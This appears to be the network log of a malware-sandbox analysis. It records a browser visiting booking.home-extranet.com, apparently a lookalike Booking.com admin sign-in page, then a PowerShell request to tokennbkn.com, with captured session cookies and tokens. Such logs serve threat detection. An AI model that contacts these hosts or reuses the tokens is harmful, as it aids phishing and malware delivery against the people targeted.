Source: global traffic	HTTP traffic detected: GET /sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI HTTP/1.1host: booking.home-extranet.comupgrade-insecure-requests: 1user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "134.0.6998.36"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-fetch-site: nonesec-fetch-mode: navigatesec-fetch-user: ?1sec-fetch-dest: documentaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=0, i
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_page/v1?ray=94d84e959e6b69d0 HTTP/1.1host: booking.home-extranet.comsec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua-platform-version: "10.0.0"accept: /sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: scriptreferer: https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI&__cf_chl_rt_tk=UVPIM8F3UHNpyxe1bCcF9SxDBXrhDVVwDEAgYNsNDRs-1749552617-1.0.1.1-ZiliqsjfRuwr58HcaqIGk5uw487uF2oMN1XIu6ysidcaccept-encoding: identityaccept-language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/f9574c83b4d7/api.js?onload=lALO8&render=explicit HTTP/1.1host: challenges.cloudflare.comorigin: https://booking.home-extranet.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: cross-sitesec-fetch-mode: corssec-fetch-dest: scriptaccept-encoding: identityaccept-language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1host: booking.home-extranet.comsec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua-platform-version: "10.0.0"accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/t54mz/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ HTTP/1.1host: challenges.cloudflare.comsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"upgrade-insecure-requests: 1user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-fetch-site: cross-sitesec-fetch-mode: navigatesec-fetch-user: ?1sec-fetch-dest: iframesec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=0, i
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1012553954:1749550391:soVn69VQi3bZZggzdjArh3CnFHj4n4q1Hz8Q1mUUqtA/94d84e959e6b69d0/DpvVwD.Tf2lX2YvEpB8JTiH3s7ATP2tkduvAdvgBEzE-1749552617-1.2.1.1-sHznmK4yPm63a8eFH1a244Hdv40qLHIszmnVbFlMUxaGPzYbT2tpn0W7jdq1sbgg HTTP/1.1host: booking.home-extranet.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1host: challenges.cloudflare.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagesec-fetch-storage-access: activereferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/t54mz/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/accept-encoding: identityaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=94d84e9f18df2cb4&lang=auto HTTP/1.1host: challenges.cloudflare.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: scriptsec-fetch-storage-access: activereferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/t54mz/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/accept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1host: booking.home-extranet.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pupriority: u=1, i
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1host: challenges.cloudflare.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1host: booking.home-extranet.comsec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua-platform-version: "10.0.0"accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pupriority: u=1, i
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=CXNFVx7sFbv22Kz&MD=NcD3C+lt HTTP/1.1host: slscr.update.microsoft.comaccept: /user-agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33accept-encoding: identity
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/94d84e9f18df2cb4/1749552620570/c6979b60731d7d7dfcfe73baa9257c4687f1f18b3d9b49b29a79c9a7bed8ef8c/noWxTZKYSpKXXFL HTTP/1.1host: challenges.cloudflare.comcache-control: max-age=0sec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activereferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/t54mz/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/accept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/230167020:1749550378:tj5ygFBIu9hJP-0ulKUwN9ks6PfoaNXNSFROpkhdpGQ/94d84e9f18df2cb4/hR_MYkLvo_dFCzK3o43qOJVTLD71jAouO72vh_1MQ00-1749552619-1.2.1.1-JtkZZ37svr_GcDZcLaoNyAg1W9ZtejojDRlx2Bs6ZLU7HqcKOo6Mnvy0RJT.PqIK HTTP/1.1host: challenges.cloudflare.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1host: booking.home-extranet.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pupriority: u=1, i
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/94d84e9f18df2cb4/1749552620576/1K3_bi7h_dn-nye HTTP/1.1host: challenges.cloudflare.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagesec-fetch-storage-access: activereferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/t54mz/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/accept-encoding: identityaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/94d84e9f18df2cb4/1749552620576/1K3_bi7h_dn-nye HTTP/1.1host: challenges.cloudflare.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/230167020:1749550378:tj5ygFBIu9hJP-0ulKUwN9ks6PfoaNXNSFROpkhdpGQ/94d84e9f18df2cb4/hR_MYkLvo_dFCzK3o43qOJVTLD71jAouO72vh_1MQ00-1749552619-1.2.1.1-JtkZZ37svr_GcDZcLaoNyAg1W9ZtejojDRlx2Bs6ZLU7HqcKOo6Mnvy0RJT.PqIK HTTP/1.1host: challenges.cloudflare.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/230167020:1749550378:tj5ygFBIu9hJP-0ulKUwN9ks6PfoaNXNSFROpkhdpGQ/94d84e9f18df2cb4/hR_MYkLvo_dFCzK3o43qOJVTLD71jAouO72vh_1MQ00-1749552619-1.2.1.1-JtkZZ37svr_GcDZcLaoNyAg1W9ZtejojDRlx2Bs6ZLU7HqcKOo6Mnvy0RJT.PqIK HTTP/1.1host: challenges.cloudflare.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1012553954:1749550391:soVn69VQi3bZZggzdjArh3CnFHj4n4q1Hz8Q1mUUqtA/94d84e959e6b69d0/DpvVwD.Tf2lX2YvEpB8JTiH3s7ATP2tkduvAdvgBEzE-1749552617-1.2.1.1-sHznmK4yPm63a8eFH1a244Hdv40qLHIszmnVbFlMUxaGPzYbT2tpn0W7jdq1sbgg HTTP/1.1host: booking.home-extranet.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pupriority: u=1, i
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1host: booking.home-extranet.comsec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua-platform-version: "10.0.0"accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI&__cf_chl_tk=UVPIM8F3UHNpyxe1bCcF9SxDBXrhDVVwDEAgYNsNDRs-1749552617-1.0.1.1-ZiliqsjfRuwr58HcaqIGk5uw487uF2oMN1XIu6ysidcaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pucookie: cf_clearance=vVBH6dfY0XqhqUw.xnyEwXmuEBbCW79J7UI8zgheHyE-1749552635-1.2.1.1-WLqhg8tGdnXyUifvZGf6bUr6K2SPPGJUZep7ppDkBlijUqqK3qhfRyuD9kyQQGtV2VHG
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1host: booking.home-extranet.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pupriority: u=1, i
Source: global traffic	HTTP traffic detected: GET /jquery-3.7.1.min.js HTTP/1.1host: code.jquery.comorigin: https://booking.home-extranet.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: cross-sitesec-fetch-mode: corssec-fetch-dest: scriptaccept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=1
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1host: booking.home-extranet.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: scriptaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pucookie: cf_clearance=vVBH6dfY0XqhqUw.xnyEwXmuEBbCW79J7UI8zgheHyE-1749552635-1.2.1.1-WLqhg8tGdnXyUifvZGf6bUr6K2SPPGJUZep7ppDkBlijUqqK3qhfRyuD9kyQQGtV2VHGNO2oh5SzHCLNSB5zIh.mqP6C_Pr3iTCJ5YseCF9b2BHlwTW8HHWniTBK18KN1Ke0s3DMlJRfWBgmlmsjnLvsBsafFbKWqaB6tQOKiQ_D5YAW20wcu2wgyuQ14bg3E5w4WbvVdlwPuZjnEXePKIcVdTRD21zQPmPXPIPQ8XyPgtTJGPxbvFf1pPVBkW89vZK04uRpEMRFfuhBAOstpebMi0247qGqwQd3WNTfyV7_OQwjbGsl39xVeOBqE6zi65NEnMnTmQ3LroAIGxMLTrqynQNkCEfvvQoESh1ccV1SLKwlcConr.FrGszsNv8I
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/scripts/jsd/f9574c83b4d7/main.js? HTTP/1.1host: booking.home-extranet.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: scriptaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pucookie: cf_clearance=vVBH6dfY0XqhqUw.xnyEwXmuEBbCW79J7UI8zgheHyE-1749552635-1.2.1.1-WLqhg8tGdnXyUifvZGf6bUr6K2SPPGJUZep7ppDkBlijUqqK3qhfRyuD9kyQQGtV2VHGNO2oh5SzHCLNSB5zIh.mqP6C_Pr3iTCJ5YseCF9b2BHlwTW8HHWniTBK18KN1Ke0s3DMlJRfWBgmlmsjnLvsBsafFbKWqaB6tQOKiQ_D5YAW20wcu2wgyuQ14bg3E5w4WbvVdlwPuZjnEXePKIcVdTRD21zQPmPXPIPQ8XyPgtTJGPxbvFf1pPVBkW89vZK04uRpEMRFfuhBAOstpebMi0247qGqwQd3WNTfyV7_OQwjbGsl39xVeOBqE6zi65NEnMnTmQ3LroAIGxMLTrqynQNkCEfvvQoESh1ccV1SLKwlcConr.FrGszsNv8I
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/jsd/r/0.9391523372923027:1749550342:eKHJLqEJc-J1iXzr4QrSoRCkV4EvDI71xkGFKGD4Pnk/94d84f077a7a69d0 HTTP/1.1host: booking.home-extranet.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pupriority: u=1, i
Source: global traffic	HTTP traffic detected: GET /api?c=1 HTTP/1.1host: booking.home-extranet.comsec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-arch: "x86"x-requested-with: XMLHttpRequestsec-ch-ua-full-version: "134.0.6998.36"accept: /user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua-platform-version: "10.0.0"sec-fetch-site: same-originsec-fetch-mode: corssec-fetch-dest: emptyaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pucookie: cf_clearance=18dRVS8uqAe6VGmiBQSA7bcZPeB19FFr_R8YOz5tJaw-1749552638-1.2.1.1-.E1r7LNsro0AR3PjCe6g0jE2Hl21XTYQQu2tfsqXD0TONwquf6pBNNL5C_Waub1uAP5lcq8pVYGOX7rNMm_QFD6rfLVs4DIRka8VvQSD6SUafO1KQ8fXqe.sNEChrfGPIg4RFYb._cnzQicSFvocZp_ftxVFbXrdDUBJkrWQ.9T7rmFGSCed3bstIth0gDQ0gEO9fuhv.9WxXIJd2Ti4HapDJMdxdvUkHSROAQzBu9AxL6m6WumbURxaqYD_GT5Rr3BXf1pHHStYyZsYThB5NsJLkhL2Pv2zAH9KYuGJUfqCxbwu1zQ6S2f32sRZIOb6tK3K6QwM0C1To3SMzzOCET4zSudZXWL52QOKkYjYkFKv7fre7tl99QDDUC6L8p1lpriority: u=1, i
Source: global traffic	HTTP traffic detected: GET /api?c=1 HTTP/1.1host: booking.home-extranet.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: identityaccept-language: en-US,en;q=0.9cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pupriority: u=1, i
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=CXNFVx7sFbv22Kz&MD=NcD3C+lt HTTP/1.1host: slscr.update.microsoft.comaccept: /user-agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33accept-encoding: identity
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tokennbkn.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: booking.home-extranet.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: tokennbkn.com

Source: unknown

HTTP traffic detected: POST /report/v4?s=T00gJTegoqShAVK%2FGhsjs1BSJow8za4dl9ad8vzmRT8Ag%2F6pn2l0RU0iP%2Ff7JyeD0dWQcpIZZ9CQsj2THLO9opyJstfbQuCNJ09cjiAGHYBnHJgZqA7JY%2BuqMpW0TH%2BDflfxLZyCG0WRJHtp HTTP/1.1host: a.nel.cloudflare.comcontent-length: 692content-type: application/reports+jsonorigin: https://booking.home-extranet.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept-encoding: identityaccept-language: en-US,en;q=0.9priority: u=4, i

